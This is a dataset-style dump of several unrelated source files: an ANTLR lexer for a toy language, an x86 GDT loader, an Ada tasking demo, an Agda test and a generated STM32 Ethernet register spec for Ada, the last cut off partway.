max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
src/main/antlr/LanguageLexer.g4
Yurati/Compiler
0
1302
lexer grammar LanguageLexer; // Keywords WHOLE: 'whole'; DOULOT: 'doulot'; BOOELAN: 'boolean'; INSCRIPTION: 'inscription'; FUNC: 'func'; UNLESS: 'unless'; ELSE: 'and'; AGAINST: 'against'; DONT: 'dont'; NOTTHISTIME: 'not this time'; IRRELEVANT: 'irrelevant'; BREAK: 'break'; CONTINUE: 'continue'; PRINT: 'print'; TRUE: 'true'; FALSE: 'false'; // Nope literal NOPELITERAL : 'nope' ; // Separators RPAREN : '('; LPAREN : ')'; RBRACE : '{'; LBRACE : '}'; RBRACK : '['; LBRACK : ']'; SEMICOLON : ';'; COMMA : ','; DOT : '.'; // Operators ASSIGN : '=='; GT : '<'; LT : '>'; BANG : '?'; QUESTION : '!'; COLON : ':'; EQUAL : '='; LTEQ : '>='; GTEQ : '<='; NOTEQUAL : '?=='; AND : '||'; OR : '&&'; ADD : '-'; SUB : '+'; MUL : '/'; DIV : '*'; COMMENT : IRRELEVANT ~[\r\n]* -> skip ; ID : [a-zA-Z_] [a-zA-Z_0-9]* ; WHOLE_VALUE : [0-9]+ ; DOULOT_VALUE : [0-9]+ '.' [0-9]* | '.' [0-9]+ ; INSCRIPTION_VALUE : '"' (~["\r\n] | '""')* '"' ; SPACE : [ \t\r\n] -> skip ; OTHER : . ;
gdt.asm
m4t3uz/leaf-d
0
89671
<reponame>m4t3uz/leaf-d ; Copyright (C) 2021 <NAME> [bits 32] section .text global load_gdt load_gdt: mov eax, DWORD [esp+4] lgdt [eax] mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax jmp 0x08:flush flush: ret
src/006/task_type.adb
xeenta/learning-ada
0
27186
<gh_stars>0 with Ada.Text_IO; use Ada.Text_IO; with Ada.Integer_Text_IO; use Ada.Integer_Text_IO; with Ada.Numerics.Discrete_Random; --with Ada.Task_Identification; --use Ada; procedure Task_Type is subtype Player_Id_Type is Natural range 0 .. 100; task type Player is entry Punch (P : in Positive); entry Stamina (S : in Integer); entry Pass; entry Get_Id (Id : out Player_Id_Type); entry Get_Stamina (S : out Integer); entry Quit; end Player; Players : array (Positive range 1 .. 10) of Player; subtype Player_Index is Positive range Players'First .. Players'Last; task body Player is Personal_Id : Integer; package R is new Ada.Numerics.Discrete_Random (Player_Id_Type); G : R.Generator; My_Stamina : Integer := 80; Delay_Count : Natural := 0; begin R.Reset (G); Personal_Id := R.Random (G); Put ("Player "); Put (Personal_Id); Put_Line (" is born!"); loop select accept Get_Stamina (S : out Integer) do S := My_Stamina; end Get_Stamina; or accept Punch (P : in Positive) do Put ("Player "); Put (Personal_Id); Put (" punches "); declare Punched_Id : Player_Id_Type; begin select Players (P).Get_Id (Punched_Id); Put (Punched_Id); New_Line; or delay 1.0; Put ("> unknown < (goes by the idx of "); Put (P); Put_Line (")"); end select; end; select Players (P).Stamina (-40); My_Stamina := My_Stamina - 5; or delay 1.0; end select; My_Stamina := My_Stamina - 20; end Punch; or accept Stamina (S : in Integer) do My_Stamina := My_Stamina + S; end Stamina; or accept Pass do if My_Stamina < 0 then My_Stamina := My_Stamina + 3; end if; end Pass; or accept Get_Id (Id : out Player_Id_Type) do Id := Personal_Id; end Get_Id; or delay 2.5; if Delay_Count > 5 then Delay_Count := 0; My_Stamina := My_Stamina / 2; end if; Delay_Count := Delay_Count + 1; Put ("Player "); Put (Personal_Id); Put (" STAMINA "); Put (My_Stamina); New_Line; if My_Stamina < 30 then select accept Quit; Put ("Player "); Put (Personal_Id); Put_Line (" QUITS"); exit; or delay 1.0; Put_Line ("No quit request within 1 sec"); end select; end if; end select; if My_Stamina < 11 then Put_Line ("^^^^^ Spontaneous death ^^^^^^"); exit; end if; end loop; end Player; type Action_Type is (Punch_Someone, Peace, Check_Turn); package RP is new Ada.Numerics.Discrete_Random (Player_Index); package RA is new Ada.Numerics.Discrete_Random (Action_Type); Player_Gen : RP.Generator; I, J : Player_Index; Num_Of_Alive_Players : Natural; Action_Gen : RA.Generator; Action : Action_Type; begin RP.Reset (Player_Gen); RA.Reset (Action_Gen); loop Num_Of_Alive_Players := 0; for P of Players loop if not P'Terminated then Num_Of_Alive_Players := Num_Of_Alive_Players + 1; end if; end loop; Put ("ALIVE PLAYERS "); Put (Num_Of_Alive_Players); New_Line; exit when Num_Of_Alive_Players < 3; I := RP.Random (Player_Gen); if not Players (I)'Terminated then Action := RA.Random (Action_Gen); Put_Line (Action_Type'Image (Action)); case Action is when Punch_Someone => J := RP.Random (Player_Gen); if I /= J then select -- do not hang on punch delay 1.0; Put_Line ("Not punched!"); then abort Players (I).Punch (J); end select; end if; when Peace => select -- do not hang on pass delay 1.0; Put_Line ("No passed!"); then abort Players (I).Pass; end select; when Check_Turn => declare Stamina : Integer; begin select delay 1.0; Put ("WHAT Stamina "); Put (I); New_Line; then abort Players (I).Get_Stamina (Stamina); if Stamina < 30 then select delay 0.4; then abort Players (I).Quit; end select; end if; end select; end; end case; delay 0.5; Put_Line ("*** ANOTHER ROUND ***"); end if; end loop; Put_Line ("==================="); for P of Players loop if not P'Terminated then declare P_Id : Player_Id_Type; begin P.Get_Id (P_Id); Put ("##### PLAYER "); Put (P_Id); Put_Line (" #####"); P.Quit; end; end if; end loop; end;
test/Compiler/with-stdlib/AllStdLib.agda
redfish64/autonomic-agda
0
12810
-- ASR (2016-02-15). In the Makefile in test/compiler founded in the -- 2.4.2.3 tag, this test used the options `+RTS -H1G -M1.5G -RTS`. module AllStdLib where -- Ensure that the entire standard library is compiled. import README open import Data.Unit.Base open import Data.String open import IO import IO.Primitive as Prim main : Prim.IO ⊤ main = run (putStrLn "Hello World!")
software/hal/hpl/STM32/svd/stm32f427x/stm32_svd-ethernet.ads
TUM-EI-RCS/StratoX
12
27693
-- This spec has been automatically generated from STM32F427x.svd pragma Restrictions (No_Elaboration_Code); pragma Ada_2012; with System; with HAL; package STM32_SVD.Ethernet is pragma Preelaborate; --------------- -- Registers -- --------------- -------------------- -- MACCR_Register -- -------------------- subtype MACCR_BL_Field is HAL.UInt2; subtype MACCR_IFG_Field is HAL.UInt3; -- Ethernet MAC configuration register type MACCR_Register is record -- unspecified Reserved_0_1 : HAL.UInt2 := 16#0#; -- RE RE : Boolean := False; -- TE TE : Boolean := False; -- DC DC : Boolean := False; -- BL BL : MACCR_BL_Field := 16#0#; -- APCS APCS : Boolean := False; -- unspecified Reserved_8_8 : HAL.Bit := 16#0#; -- RD RD : Boolean := False; -- IPCO IPCO : Boolean := False; -- DM DM : Boolean := False; -- LM LM : Boolean := False; -- ROD ROD : Boolean := False; -- FES FES : Boolean := False; -- unspecified Reserved_15_15 : HAL.Bit := 16#1#; -- CSD CSD : Boolean := False; -- IFG IFG : MACCR_IFG_Field := 16#0#; -- unspecified Reserved_20_21 : HAL.UInt2 := 16#0#; -- JD JD : Boolean := False; -- WD WD : Boolean := False; -- unspecified Reserved_24_24 : HAL.Bit := 16#0#; -- CSTF CSTF : Boolean := False; -- unspecified Reserved_26_31 : HAL.UInt6 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACCR_Register use record Reserved_0_1 at 0 range 0 .. 1; RE at 0 range 2 .. 2; TE at 0 range 3 .. 3; DC at 0 range 4 .. 4; BL at 0 range 5 .. 6; APCS at 0 range 7 .. 7; Reserved_8_8 at 0 range 8 .. 8; RD at 0 range 9 .. 9; IPCO at 0 range 10 .. 10; DM at 0 range 11 .. 11; LM at 0 range 12 .. 12; ROD at 0 range 13 .. 13; FES at 0 range 14 .. 14; Reserved_15_15 at 0 range 15 .. 15; CSD at 0 range 16 .. 16; IFG at 0 range 17 .. 19; Reserved_20_21 at 0 range 20 .. 21; JD at 0 range 22 .. 22; WD at 0 range 23 .. 23; Reserved_24_24 at 0 range 24 .. 24; CSTF at 0 range 25 .. 25; Reserved_26_31 at 0 range 26 .. 31; end record; --------------------- -- MACFFR_Register -- --------------------- -- Ethernet MAC frame filter register type MACFFR_Register is record -- no description available PM : Boolean := False; -- no description available HU : Boolean := False; -- no description available HM : Boolean := False; -- no description available DAIF : Boolean := False; -- no description available RAM : Boolean := False; -- no description available BFD : Boolean := False; -- no description available PCF : Boolean := False; -- no description available SAIF : Boolean := False; -- no description available SAF : Boolean := False; -- no description available HPF : Boolean := False; -- unspecified Reserved_10_30 : HAL.UInt21 := 16#0#; -- no description available RA : Boolean := False; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACFFR_Register use record PM at 0 range 0 .. 0; HU at 0 range 1 .. 1; HM at 0 range 2 .. 2; DAIF at 0 range 3 .. 3; RAM at 0 range 4 .. 4; BFD at 0 range 5 .. 5; PCF at 0 range 6 .. 6; SAIF at 0 range 7 .. 7; SAF at 0 range 8 .. 8; HPF at 0 range 9 .. 9; Reserved_10_30 at 0 range 10 .. 30; RA at 0 range 31 .. 31; end record; ----------------------- -- MACMIIAR_Register -- ----------------------- subtype MACMIIAR_CR_Field is HAL.UInt3; subtype MACMIIAR_MR_Field is HAL.UInt5; subtype MACMIIAR_PA_Field is HAL.UInt5; -- Ethernet MAC MII address register type MACMIIAR_Register is record -- no description available MB : Boolean := False; -- no description available MW : Boolean := False; -- no description available CR : MACMIIAR_CR_Field := 16#0#; -- unspecified Reserved_5_5 : HAL.Bit := 16#0#; -- no description available MR : MACMIIAR_MR_Field := 16#0#; -- no description available PA : MACMIIAR_PA_Field := 16#0#; -- unspecified Reserved_16_31 : HAL.Short := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACMIIAR_Register use record MB at 0 range 0 .. 0; MW at 0 range 1 .. 1; CR at 0 range 2 .. 4; Reserved_5_5 at 0 range 5 .. 5; MR at 0 range 6 .. 10; PA at 0 range 11 .. 15; Reserved_16_31 at 0 range 16 .. 31; end record; ----------------------- -- MACMIIDR_Register -- ----------------------- subtype MACMIIDR_TD_Field is HAL.Short; -- Ethernet MAC MII data register type MACMIIDR_Register is record -- no description available TD : MACMIIDR_TD_Field := 16#0#; -- unspecified Reserved_16_31 : HAL.Short := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACMIIDR_Register use record TD at 0 range 0 .. 15; Reserved_16_31 at 0 range 16 .. 31; end record; --------------------- -- MACFCR_Register -- --------------------- subtype MACFCR_PLT_Field is HAL.UInt2; subtype MACFCR_PT_Field is HAL.Short; -- Ethernet MAC flow control register type MACFCR_Register is record -- no description available FCB : Boolean := False; -- no description available TFCE : Boolean := False; -- no description available RFCE : Boolean := False; -- no description available UPFD : Boolean := False; -- no description available PLT : MACFCR_PLT_Field := 16#0#; -- unspecified Reserved_6_6 : HAL.Bit := 16#0#; -- no description available ZQPD : Boolean := False; -- unspecified Reserved_8_15 : HAL.Byte := 16#0#; -- no description available PT : MACFCR_PT_Field := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACFCR_Register use record FCB at 0 range 0 .. 0; TFCE at 0 range 1 .. 1; RFCE at 0 range 2 .. 2; UPFD at 0 range 3 .. 3; PLT at 0 range 4 .. 5; Reserved_6_6 at 0 range 6 .. 6; ZQPD at 0 range 7 .. 7; Reserved_8_15 at 0 range 8 .. 15; PT at 0 range 16 .. 31; end record; ------------------------ -- MACVLANTR_Register -- ------------------------ subtype MACVLANTR_VLANTI_Field is HAL.Short; -- Ethernet MAC VLAN tag register type MACVLANTR_Register is record -- no description available VLANTI : MACVLANTR_VLANTI_Field := 16#0#; -- no description available VLANTC : Boolean := False; -- unspecified Reserved_17_31 : HAL.UInt15 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACVLANTR_Register use record VLANTI at 0 range 0 .. 15; VLANTC at 0 range 16 .. 16; Reserved_17_31 at 0 range 17 .. 31; end record; ------------------------ -- MACPMTCSR_Register -- ------------------------ -- Ethernet MAC PMT control and status register type MACPMTCSR_Register is record -- no description available PD : Boolean := False; -- no description available MPE : Boolean := False; -- no description available WFE : Boolean := False; -- unspecified Reserved_3_4 : HAL.UInt2 := 16#0#; -- no description available MPR : Boolean := False; -- no description available WFR : Boolean := False; -- unspecified Reserved_7_8 : HAL.UInt2 := 16#0#; -- no description available GU : Boolean := False; -- unspecified Reserved_10_30 : HAL.UInt21 := 16#0#; -- no description available WFFRPR : Boolean := False; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACPMTCSR_Register use record PD at 0 range 0 .. 0; MPE at 0 range 1 .. 1; WFE at 0 range 2 .. 2; Reserved_3_4 at 0 range 3 .. 4; MPR at 0 range 5 .. 5; WFR at 0 range 6 .. 6; Reserved_7_8 at 0 range 7 .. 8; GU at 0 range 9 .. 9; Reserved_10_30 at 0 range 10 .. 30; WFFRPR at 0 range 31 .. 31; end record; ---------------------- -- MACDBGR_Register -- ---------------------- -- Ethernet MAC debug register type MACDBGR_Register is record -- Read-only. CR CR : Boolean; -- Read-only. CSR CSR : Boolean; -- Read-only. ROR ROR : Boolean; -- Read-only. MCF MCF : Boolean; -- Read-only. MCP MCP : Boolean; -- Read-only. MCFHP MCFHP : Boolean; -- unspecified Reserved_6_31 : HAL.UInt26; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACDBGR_Register use record CR at 0 range 0 .. 0; CSR at 0 range 1 .. 1; ROR at 0 range 2 .. 2; MCF at 0 range 3 .. 3; MCP at 0 range 4 .. 4; MCFHP at 0 range 5 .. 5; Reserved_6_31 at 0 range 6 .. 31; end record; -------------------- -- MACSR_Register -- -------------------- -- Ethernet MAC interrupt status register type MACSR_Register is record -- unspecified Reserved_0_2 : HAL.UInt3 := 16#0#; -- Read-only. no description available PMTS : Boolean := False; -- Read-only. no description available MMCS : Boolean := False; -- Read-only. no description available MMCRS : Boolean := False; -- Read-only. no description available MMCTS : Boolean := False; -- unspecified Reserved_7_8 : HAL.UInt2 := 16#0#; -- no description available TSTS : Boolean := False; -- unspecified Reserved_10_31 : HAL.UInt22 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACSR_Register use record Reserved_0_2 at 0 range 0 .. 2; PMTS at 0 range 3 .. 3; MMCS at 0 range 4 .. 4; MMCRS at 0 range 5 .. 5; MMCTS at 0 range 6 .. 6; Reserved_7_8 at 0 range 7 .. 8; TSTS at 0 range 9 .. 9; Reserved_10_31 at 0 range 10 .. 31; end record; --------------------- -- MACIMR_Register -- --------------------- -- Ethernet MAC interrupt mask register type MACIMR_Register is record -- unspecified Reserved_0_2 : HAL.UInt3 := 16#0#; -- no description available PMTIM : Boolean := False; -- unspecified Reserved_4_8 : HAL.UInt5 := 16#0#; -- no description available TSTIM : Boolean := False; -- unspecified Reserved_10_31 : HAL.UInt22 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACIMR_Register use record Reserved_0_2 at 0 range 0 .. 2; PMTIM at 0 range 3 .. 3; Reserved_4_8 at 0 range 4 .. 8; TSTIM at 0 range 9 .. 9; Reserved_10_31 at 0 range 10 .. 31; end record; ---------------------- -- MACA0HR_Register -- ---------------------- subtype MACA0HR_MACA0H_Field is HAL.Short; -- Ethernet MAC address 0 high register type MACA0HR_Register is record -- MAC address0 high MACA0H : MACA0HR_MACA0H_Field := 16#FFFF#; -- unspecified Reserved_16_30 : HAL.UInt15 := 16#10#; -- Read-only. Always 1 MO : Boolean := False; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACA0HR_Register use record MACA0H at 0 range 0 .. 15; Reserved_16_30 at 0 range 16 .. 30; MO at 0 range 31 .. 31; end record; ---------------------- -- MACA1HR_Register -- ---------------------- subtype MACA1HR_MACA1H_Field is HAL.Short; subtype MACA1HR_MBC_Field is HAL.UInt6; -- Ethernet MAC address 1 high register type MACA1HR_Register is record -- no description available MACA1H : MACA1HR_MACA1H_Field := 16#FFFF#; -- unspecified Reserved_16_23 : HAL.Byte := 16#0#; -- no description available MBC : MACA1HR_MBC_Field := 16#0#; -- no description available SA : Boolean := False; -- no description available AE : Boolean := False; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACA1HR_Register use record MACA1H at 0 range 0 .. 15; Reserved_16_23 at 0 range 16 .. 23; MBC at 0 range 24 .. 29; SA at 0 range 30 .. 30; AE at 0 range 31 .. 31; end record; ---------------------- -- MACA2HR_Register -- ---------------------- subtype MACA2HR_MAC2AH_Field is HAL.Short; subtype MACA2HR_MBC_Field is HAL.UInt6; -- Ethernet MAC address 2 high register type MACA2HR_Register is record -- no description available MAC2AH : MACA2HR_MAC2AH_Field := 16#FFFF#; -- unspecified Reserved_16_23 : HAL.Byte := 16#0#; -- no description available MBC : MACA2HR_MBC_Field := 16#0#; -- no description available SA : Boolean := False; -- no description available AE : Boolean := False; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACA2HR_Register use record MAC2AH at 0 range 0 .. 15; Reserved_16_23 at 0 range 16 .. 23; MBC at 0 range 24 .. 29; SA at 0 range 30 .. 30; AE at 0 range 31 .. 31; end record; ---------------------- -- MACA2LR_Register -- ---------------------- subtype MACA2LR_MACA2L_Field is HAL.UInt31; -- Ethernet MAC address 2 low register type MACA2LR_Register is record -- no description available MACA2L : MACA2LR_MACA2L_Field := 16#7FFFFFFF#; -- unspecified Reserved_31_31 : HAL.Bit := 16#1#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACA2LR_Register use record MACA2L at 0 range 0 .. 30; Reserved_31_31 at 0 range 31 .. 31; end record; ---------------------- -- MACA3HR_Register -- ---------------------- subtype MACA3HR_MACA3H_Field is HAL.Short; subtype MACA3HR_MBC_Field is HAL.UInt6; -- Ethernet MAC address 3 high register type MACA3HR_Register is record -- no description available MACA3H : MACA3HR_MACA3H_Field := 16#FFFF#; -- unspecified Reserved_16_23 : HAL.Byte := 16#0#; -- no description available MBC : MACA3HR_MBC_Field := 16#0#; -- no description available SA : Boolean := False; -- no description available AE : Boolean := False; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MACA3HR_Register use record MACA3H at 0 range 0 .. 15; Reserved_16_23 at 0 range 16 .. 23; MBC at 0 range 24 .. 29; SA at 0 range 30 .. 30; AE at 0 range 31 .. 31; end record; -------------------- -- MMCCR_Register -- -------------------- -- Ethernet MMC control register type MMCCR_Register is record -- no description available CR : Boolean := False; -- no description available CSR : Boolean := False; -- no description available ROR : Boolean := False; -- no description available MCF : Boolean := False; -- no description available MCP : Boolean := False; -- no description available MCFHP : Boolean := False; -- unspecified Reserved_6_31 : HAL.UInt26 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MMCCR_Register use record CR at 0 range 0 .. 0; CSR at 0 range 1 .. 1; ROR at 0 range 2 .. 2; MCF at 0 range 3 .. 3; MCP at 0 range 4 .. 4; MCFHP at 0 range 5 .. 5; Reserved_6_31 at 0 range 6 .. 31; end record; --------------------- -- MMCRIR_Register -- --------------------- -- Ethernet MMC receive interrupt register type MMCRIR_Register is record -- unspecified Reserved_0_4 : HAL.UInt5 := 16#0#; -- no description available RFCES : Boolean := False; -- no description available RFAES : Boolean := False; -- unspecified Reserved_7_16 : HAL.UInt10 := 16#0#; -- no description available RGUFS : Boolean := False; -- unspecified Reserved_18_31 : HAL.UInt14 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MMCRIR_Register use record Reserved_0_4 at 0 range 0 .. 4; RFCES at 0 range 5 .. 5; RFAES at 0 range 6 .. 6; Reserved_7_16 at 0 range 7 .. 16; RGUFS at 0 range 17 .. 17; Reserved_18_31 at 0 range 18 .. 31; end record; --------------------- -- MMCTIR_Register -- --------------------- -- Ethernet MMC transmit interrupt register type MMCTIR_Register is record -- unspecified Reserved_0_13 : HAL.UInt14; -- Read-only. no description available TGFSCS : Boolean; -- Read-only. no description available TGFMSCS : Boolean; -- unspecified Reserved_16_20 : HAL.UInt5; -- Read-only. no description available TGFS : Boolean; -- unspecified Reserved_22_31 : HAL.UInt10; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MMCTIR_Register use record Reserved_0_13 at 0 range 0 .. 13; TGFSCS at 0 range 14 .. 14; TGFMSCS at 0 range 15 .. 15; Reserved_16_20 at 0 range 16 .. 20; TGFS at 0 range 21 .. 21; Reserved_22_31 at 0 range 22 .. 31; end record; ---------------------- -- MMCRIMR_Register -- ---------------------- -- Ethernet MMC receive interrupt mask register type MMCRIMR_Register is record -- unspecified Reserved_0_4 : HAL.UInt5 := 16#0#; -- no description available RFCEM : Boolean := False; -- no description available RFAEM : Boolean := False; -- unspecified Reserved_7_16 : HAL.UInt10 := 16#0#; -- no description available RGUFM : Boolean := False; -- unspecified Reserved_18_31 : HAL.UInt14 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MMCRIMR_Register use record Reserved_0_4 at 0 range 0 .. 4; RFCEM at 0 range 5 .. 5; RFAEM at 0 range 6 .. 6; Reserved_7_16 at 0 range 7 .. 16; RGUFM at 0 range 17 .. 17; Reserved_18_31 at 0 range 18 .. 31; end record; ---------------------- -- MMCTIMR_Register -- ---------------------- -- Ethernet MMC transmit interrupt mask register type MMCTIMR_Register is record -- unspecified Reserved_0_13 : HAL.UInt14 := 16#0#; -- no description available TGFSCM : Boolean := False; -- no description available TGFMSCM : Boolean := False; -- no description available TGFM : Boolean := False; -- unspecified Reserved_17_31 : HAL.UInt15 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for MMCTIMR_Register use record Reserved_0_13 at 0 range 0 .. 13; TGFSCM at 0 range 14 .. 14; TGFMSCM at 0 range 15 .. 15; TGFM at 0 range 16 .. 16; Reserved_17_31 at 0 range 17 .. 31; end record; ---------------------- -- PTPTSCR_Register -- ---------------------- subtype PTPTSCR_TSCNT_Field is HAL.UInt2; -- Ethernet PTP time stamp control register type PTPTSCR_Register is record -- no description available TSE : Boolean := False; -- no description available TSFCU : Boolean := False; -- no description available TSSTI : Boolean := False; -- no description available TSSTU : Boolean := False; -- no description available TSITE : Boolean := False; -- no description available TTSARU : Boolean := False; -- unspecified Reserved_6_7 : HAL.UInt2 := 16#0#; -- no description available TSSARFE : Boolean := False; -- no description available TSSSR : Boolean := False; -- no description available TSPTPPSV2E : Boolean := False; -- no description available TSSPTPOEFE : Boolean := False; -- no description available TSSIPV6FE : Boolean := False; -- no description available TSSIPV4FE : Boolean := True; -- no description available TSSEME : Boolean := False; -- no description available TSSMRME : Boolean := False; -- no description available TSCNT : PTPTSCR_TSCNT_Field := 16#0#; -- no description available TSPFFMAE : Boolean := False; -- unspecified Reserved_19_31 : HAL.UInt13 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for PTPTSCR_Register use record TSE at 0 range 0 .. 0; TSFCU at 0 range 1 .. 1; TSSTI at 0 range 2 .. 2; TSSTU at 0 range 3 .. 3; TSITE at 0 range 4 .. 4; TTSARU at 0 range 5 .. 5; Reserved_6_7 at 0 range 6 .. 7; TSSARFE at 0 range 8 .. 8; TSSSR at 0 range 9 .. 9; TSPTPPSV2E at 0 range 10 .. 10; TSSPTPOEFE at 0 range 11 .. 11; TSSIPV6FE at 0 range 12 .. 12; TSSIPV4FE at 0 range 13 .. 13; TSSEME at 0 range 14 .. 14; TSSMRME at 0 range 15 .. 15; TSCNT at 0 range 16 .. 17; TSPFFMAE at 0 range 18 .. 18; Reserved_19_31 at 0 range 19 .. 31; end record; ---------------------- -- PTPSSIR_Register -- ---------------------- subtype PTPSSIR_STSSI_Field is HAL.Byte; -- Ethernet PTP subsecond increment register type PTPSSIR_Register is record -- no description available STSSI : PTPSSIR_STSSI_Field := 16#0#; -- unspecified Reserved_8_31 : HAL.UInt24 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for PTPSSIR_Register use record STSSI at 0 range 0 .. 7; Reserved_8_31 at 0 range 8 .. 31; end record; ---------------------- -- PTPTSLR_Register -- ---------------------- subtype PTPTSLR_STSS_Field is HAL.UInt31; -- Ethernet PTP time stamp low register type PTPTSLR_Register is record -- Read-only. no description available STSS : PTPTSLR_STSS_Field; -- Read-only. no description available STPNS : Boolean; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for PTPTSLR_Register use record STSS at 0 range 0 .. 30; STPNS at 0 range 31 .. 31; end record; ----------------------- -- PTPTSLUR_Register -- ----------------------- subtype PTPTSLUR_TSUSS_Field is HAL.UInt31; -- Ethernet PTP time stamp low update register type PTPTSLUR_Register is record -- no description available TSUSS : PTPTSLUR_TSUSS_Field := 16#0#; -- no description available TSUPNS : Boolean := False; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for PTPTSLUR_Register use record TSUSS at 0 range 0 .. 30; TSUPNS at 0 range 31 .. 31; end record; ---------------------- -- PTPTSSR_Register -- ---------------------- -- Ethernet PTP time stamp status register type PTPTSSR_Register is record -- Read-only. no description available TSSO : Boolean; -- Read-only. no description available TSTTR : Boolean; -- unspecified Reserved_2_31 : HAL.UInt30; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for PTPTSSR_Register use record TSSO at 0 range 0 .. 0; TSTTR at 0 range 1 .. 1; Reserved_2_31 at 0 range 2 .. 31; end record; ----------------------- -- PTPPPSCR_Register -- ----------------------- -- Ethernet PTP PPS control register type PTPPPSCR_Register is record -- Read-only. TSSO TSSO : Boolean; -- Read-only. TSTTR TSTTR : Boolean; -- unspecified Reserved_2_31 : HAL.UInt30; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for PTPPPSCR_Register use record TSSO at 0 range 0 .. 0; TSTTR at 0 range 1 .. 1; Reserved_2_31 at 0 range 2 .. 31; end record; --------------------- -- DMABMR_Register -- --------------------- subtype DMABMR_DSL_Field is HAL.UInt5; subtype DMABMR_PBL_Field is HAL.UInt6; subtype DMABMR_RTPR_Field is HAL.UInt2; subtype DMABMR_RDP_Field is HAL.UInt6; -- Ethernet DMA bus mode register type DMABMR_Register is record -- no description available SR : Boolean := True; -- no description available DA : Boolean := False; -- no description available DSL : DMABMR_DSL_Field := 16#0#; -- no description available EDFE : Boolean := False; -- no description available PBL : DMABMR_PBL_Field := 16#21#; -- no description available RTPR : DMABMR_RTPR_Field := 16#0#; -- no description available FB : Boolean := False; -- no description available RDP : DMABMR_RDP_Field := 16#0#; -- no description available USP : Boolean := False; -- no description available FPM : Boolean := False; -- no description available AAB : Boolean := False; -- no description available MB : Boolean := False; -- unspecified Reserved_27_31 : HAL.UInt5 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for DMABMR_Register use record SR at 0 range 0 .. 0; DA at 0 range 1 .. 1; DSL at 0 range 2 .. 6; EDFE at 0 range 7 .. 7; PBL at 0 range 8 .. 13; RTPR at 0 range 14 .. 15; FB at 0 range 16 .. 16; RDP at 0 range 17 .. 22; USP at 0 range 23 .. 23; FPM at 0 range 24 .. 24; AAB at 0 range 25 .. 25; MB at 0 range 26 .. 26; Reserved_27_31 at 0 range 27 .. 31; end record; -------------------- -- DMASR_Register -- -------------------- subtype DMASR_RPS_Field is HAL.UInt3; subtype DMASR_TPS_Field is HAL.UInt3; subtype DMASR_EBS_Field is HAL.UInt3; -- Ethernet DMA status register type DMASR_Register is record -- no description available TS : Boolean := False; -- no description available TPSS : Boolean := False; -- no description available TBUS : Boolean := False; -- no description available TJTS : Boolean := False; -- no description available ROS : Boolean := False; -- no description available TUS : Boolean := False; -- no description available RS : Boolean := False; -- no description available RBUS : Boolean := False; -- no description available RPSS : Boolean := False; -- no description available PWTS : Boolean := False; -- no description available ETS : Boolean := False; -- unspecified Reserved_11_12 : HAL.UInt2 := 16#0#; -- no description available FBES : Boolean := False; -- no description available ERS : Boolean := False; -- no description available AIS : Boolean := False; -- no description available NIS : Boolean := False; -- Read-only. no description available RPS : DMASR_RPS_Field := 16#0#; -- Read-only. no description available TPS : DMASR_TPS_Field := 16#0#; -- Read-only. no description available EBS : DMASR_EBS_Field := 16#0#; -- unspecified Reserved_26_26 : HAL.Bit := 16#0#; -- Read-only. no description available MMCS : Boolean := False; -- Read-only. no description available PMTS : Boolean := False; -- Read-only. no description available TSTS : Boolean := False; -- unspecified Reserved_30_31 : HAL.UInt2 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for DMASR_Register use record TS at 0 range 0 .. 0; TPSS at 0 range 1 .. 1; TBUS at 0 range 2 .. 2; TJTS at 0 range 3 .. 3; ROS at 0 range 4 .. 4; TUS at 0 range 5 .. 5; RS at 0 range 6 .. 6; RBUS at 0 range 7 .. 7; RPSS at 0 range 8 .. 8; PWTS at 0 range 9 .. 9; ETS at 0 range 10 .. 10; Reserved_11_12 at 0 range 11 .. 12; FBES at 0 range 13 .. 13; ERS at 0 range 14 .. 14; AIS at 0 range 15 .. 15; NIS at 0 range 16 .. 16; RPS at 0 range 17 .. 19; TPS at 0 range 20 .. 22; EBS at 0 range 23 .. 25; Reserved_26_26 at 0 range 26 .. 26; MMCS at 0 range 27 .. 27; PMTS at 0 range 28 .. 28; TSTS at 0 range 29 .. 29; Reserved_30_31 at 0 range 30 .. 31; end record; --------------------- -- DMAOMR_Register -- --------------------- subtype DMAOMR_RTC_Field is HAL.UInt2; subtype DMAOMR_TTC_Field is HAL.UInt3; 